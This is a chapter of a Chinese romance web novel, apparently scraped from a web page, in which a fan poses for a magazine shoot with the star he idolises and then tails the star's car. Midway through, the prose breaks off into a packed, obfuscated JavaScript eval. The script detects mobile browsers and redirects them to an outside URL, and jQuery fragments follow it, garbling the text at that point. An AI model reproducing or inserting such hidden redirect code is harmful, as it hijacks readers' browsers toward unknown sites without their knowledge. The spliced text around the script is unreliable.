拉灯的房间昏暗朦胧,一束暖光从斜上方打下来。
身材健硕的男人精赤着上半身,健康的小麦色肌肤洇出蓬勃的荷尔蒙,手臂肌肉硕壮,胸肌更是饱满,黑色皮质身体链从肩膀下来勒住胸膛。
他面庞隐没在黑暗里,上半身笼罩着灯光下的羸弱青年。
青年身着一件白色西服,大V领露出胸膛肌肤白若梨花,五官精致,身躯单薄,在身后人衬托下,似乎一手就能控住。
他侧头,高挺的鼻梁与男人的喉结若即若离,在巨大体型差衬托下,掌控欲和隐隐的对峙感几乎溢出屏幕。
“很好,我们换个姿势,木先生转身过去,把后背露出来。”
“对的,可以,这衣服设计简直完美。”
木哀梨转身过来的一瞬间,周新水脑子嗡的一下,像是触了电。
方才木哀梨背对着他,他只能看见木哀梨的头顶,柔软的黑发顺滑地落在两肩,似乎有种诱人的气息弥散在二人之间,已经让他心神荡漾。
而当木哀梨转过身来,打在他脖颈处、木哀梨脸上的灯光把木哀梨的面孔照耀得仿佛一颗璀璨宝石,巨大冲击力直抵灵魂。
黑暗给了周新水窥伺的机会。
木哀梨的睫毛好长,好直,好密,不是贴出来烫出来的,而是纯粹原生老天爷赏的。
这睫毛显现出几分单纯率真,中和了他风流多情的习性。
“效果很好,来,周哥把手放上去。”
“手,手放上去。”
模特不听指挥,摄影师从相机后探出头,大喊:“手!放上去!”
手……?
周新水小心翼翼把手悬放在木哀梨后腰上。
“对,就这样,扶着,不,抓着,用力抓!”摄影师指挥。
周新水抿紧唇,心跳如擂鼓。
手抓上木哀梨后腰的一瞬间,周新水脑子里兀地生出一个疑问,这个弧线……他好像抓得太靠下了。
心跳得太响了,几乎是震耳欲聋,木哀梨肯定也听见了,所以才会戏谑地挑起桃花眼,鼻尖泄出一丝令人心里发痒的轻笑,猫爪似的勾着人。
被发现了。
周新水强撑不下去,低下头。
一低头就看见木哀梨V领下若隐若现的风光。
身体越来越热,皮肉似乎要熟透了。
越是滚烫,血液翻涌,肌肉越是鼓胀,他明显能感觉对胸肌上的身体链嵌入了他的肌肉。
偏偏这时候眼尖的摄影师还喊着:“不错,这个肌肉状态非常好!”
听见周围打光的,布景的,还有杂志社的主编都没忍住笑了。
大大方方的,周新水。
他闭上眼,咬紧牙,豁出去了。
“灯光师左边给面光,对,很好,来周哥把带子取下来,拽在手上,挡在木先生背后,凶一点。”
周新水像个木偶一样任这摄影棚里众人摆弄。
摄影师拍了几张,突然探出头来,吸了口气:“嘶,给他揉揉,留印了。”
周新水耳根腾地又红了。
木哀梨垂眸一扫:“嗯?”
他食指在周新水胸肌上按了按,沿着印记滑动,一道淡青色流星尾巴似的跟在他指尖后面。
周新水仿佛跌进了一团白云,整个人摇摇欲坠,只觉得幸福。
主编和摄影师要求很高,这场拍摄持续了一下午,直到天边出现淡红色的烟霞,才彻底收工。
助理收拾摄影棚里的道具,各干各的,主编检查照片,木哀梨回了休息室换衣服,周新水上衣脱在棚子边上,下来立马穿上,就是扣扣子的手有些不稳。
他一时拿不准是走还是留,干脆拿起手机发微博。
鲜榨棠梨:天底下最幸福的人出现了……
“你这助理身材真挺不错啊。”
是Gaze主编沈玉书的声音,他站在摄影师旁边,指着屏幕,“先前那个模特肌肉练得大是大,但一点美感都没有,哀梨说有个黑眼圈的熊猫哥身材可以,我还以为是社里哪位。”
沈玉书年纪和木哀梨相仿,从母亲手中继承了杂志社,长相不比模特差,热度一度超过Gaze本身。
他朝着周新水:“有没有兴趣当模特?就签在我们社。”
提到这茬,周新水才想起自己那被丢在一边无人问津的剧本,连忙道:“不了,我有工作。”
“当助理能挣几个钱?”
木哀梨换好衣服出来,正巧听见,眉毛一挑:“不是卖保险的?”
摄影师:“……?”
马甲怎么一层套一层的,哥们。
周新水抿唇站着,很无辜似的,实际上脖子都要红透了。
他想说点什么,但现如今这情况的确算是他自找的,无可辩驳。
他看着木哀梨——
木哀梨穿着一身灰,上身一件短款毛呢外套,不规则高领很显个性,下身的阔腿裤宽松慵懒,垂感很强,露出半截黑色尖头皮鞋。
腰间外束的白色宽腰带为柔软的灰增添了三分硬朗,简直是点睛之笔。
满脑子都是:好会穿,又秒了,下家洗洗睡吧。
摄影师:“兼职,兼职。”
沈玉书了然,微妙地给木哀梨递上一个眼神,又转头问:“要看看你拍的照片吗?你的身体表现力很强,不当模特可惜了。”
周新水回过神来。
相机里呈现的是他双手扯着身体带,木哀梨侧头半眯着眼的画面,再一滑,那双手扣着木哀梨的腰臀,像是要把人嵌进自己身体。
那双手骨节分明,青筋突起,宽大有力,在昏暗的灯光下极显暧昧。
不管是谁和木哀梨靠得这么近,周新水都觉得亵渎了木哀梨。
但事已至此,往好处想,除了他别人也拍不出这种效果。
他有一米九,木哀梨将将一米八出头,摄影师又让他在脚下踩了块砖,身高差迅速拉大,照片只拍到周新水的下巴,使得这些照片一丝瑕疵都找不出。
能为木哀梨的事业添砖加瓦,是他的荣幸。
别的粉丝能做到吗?他们也就在网上打打嘴仗了,真做事还得看他周新水。
“好看吗?”
沈玉书问。
周新水环视四周,意识到问的是自己,点头:“好看。”
“哪里好看?”
不一样磁性而勾人的声音钻进周新水耳蜗,小刷子一样挠着他,大脑头皮都酥麻了。
周新水一瞬不瞬盯着木哀梨。
“嗯?”木哀梨轻轻一嗯。
“哪里,都好看。”
木哀梨走近一步,道:“脸好看吗?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123039|195988||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
周新水:“好看。”
木哀梨又近一步,“背好看吗?”
周新水抿唇,低低:“嗯。”
木哀梨虚着眼睛:“手呢?”
照片里露手的是周新水,周新水默了下,道:“也还行。”
木哀梨轻笑一声,突然贴近周新水,周新水心一跳,瞳孔骤然放大,往后一躲,却被木哀梨勾住衬衫。
“扣子系错了。”
一张足够漂亮的面孔放大数倍出现在你面前,你非但不会受到惊吓,还会痴痴地看着,仿佛被摄住心魄,目光流连忘返,湿漉漉的跟小狗舌头一样一寸寸舔过。
周新水屏息凝神,他能从木哀梨漆黑的眼睛里看见自己发痴的脸,也能感受到木哀梨的手指从扣子旁边钻进他衬衫里,刮着他的胸口,冰冷而润,玉一样的。
木哀梨又忽地抽手,转身走了两步,回头含笑:“你不会还等着我给你系吧?”
周新水严肃地摸着扣子排查是哪颗扣子害他丢脸。
他检查扣子时,沈玉书走到木哀梨身边,跟工作人员打声招呼,叫他们收拾好东西记得关灯锁门,随后便带着木哀梨下楼。
进了电梯,沈玉书问:“冲着你来的?”
木哀梨摆弄了下手机,随意道:“不像。”
沈玉书挑眉:“怎么说?”
“他没起来。”
“……行。”生理反应是最诚实的反应,这样看来确实是他看走眼了,但沈玉书还是纳闷:“他眼睛都看直了。”
“是吗。”
“没办法,咱大明星魅力太大。”
沈玉书捧场,本来以为木哀梨看上了,他寻思签下来好让木哀梨下手,但先是被拒绝,又听木哀梨没多大兴趣,也就没有撮合的心思,问:“天黑了,去喝一杯?”
木哀梨没拒绝:“妖精呢?”
“接了个现代片的妆造,今天试妆,应该也快结束了,我叫他。”
沈玉书说着就点开了微信,丢过去一个酒吧定位。
等周新水扣好扣子,一抬头,木哀梨已经消失不见。
他顿感恍然若失,环视摄影棚一圈,才能稍有些真实感,而非黄粱一梦。
摄影师已经收好了东西,周新水抄起剧本跟上。
“照片发我一份,哥。”
“你是哥,你是哥。”摄影师摆手,“p完才能给你,不然泄露了我要赔钱的,哥。”
也是,周新水没为难他:“理解,那你p完立马发我,行吗?”
“没问题,木哀梨的图都用不着怎么p,调个色就行,很快的。”
“那感情好。”
走出大楼,周新水跟摄影师道别,摄影师看了眼手机说主编给了两万辛苦费,他待会转给周新水,周新水满不在乎,刚坐上车,突然看见手上的剧本。
追悔莫及。
没悔多久。
一辆骚粉色车从地下车库上来,停在路边,沈玉书上了副驾驶,那车一转弯,开车的俨然是木哀梨。
纤长的手打着转盘,手腕上一只灵蛇手镯游动如龙。
周新水下意识跟着他们。
开到一半,周新水喃喃:“太变态了……”
然后继续尾随。
半个小时过去,两辆车停在了NightLight门口。